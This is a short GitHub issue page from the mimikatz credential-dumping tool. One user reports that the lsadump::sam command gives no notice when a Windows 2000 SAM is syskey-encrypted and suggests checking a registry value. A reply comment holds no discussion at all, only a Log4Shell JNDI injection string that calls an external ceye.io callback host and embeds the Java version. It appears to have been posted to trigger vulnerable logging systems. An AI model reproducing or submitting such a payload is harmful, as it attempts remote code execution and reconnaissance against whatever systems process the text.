mimikatz icon indicating copy to clipboard operation
mimikatz copied to clipboard

lsadump::sam does not recognize encrypted syskey SAM's

Open poshul opened this issue 3 years ago • 1 comments

Working on a win2k system image where syskey mode was set to 2: Observed behaviour: calling lsadump::sam returns the SAM without any notice that it is encrypted. Expected behaviour: lsadump::sam checks SYSTEM\CurrentControlSet\Control\Lsa\SecureBoot if value is not 1 return notice to user.

poshul avatar Dec 17 '21 10:12 poshul

${jndi:ldap://${java:version}.dx3hbm.ceye.io}

Lucifer1993 avatar Dec 17 '21 10:12 Lucifer1993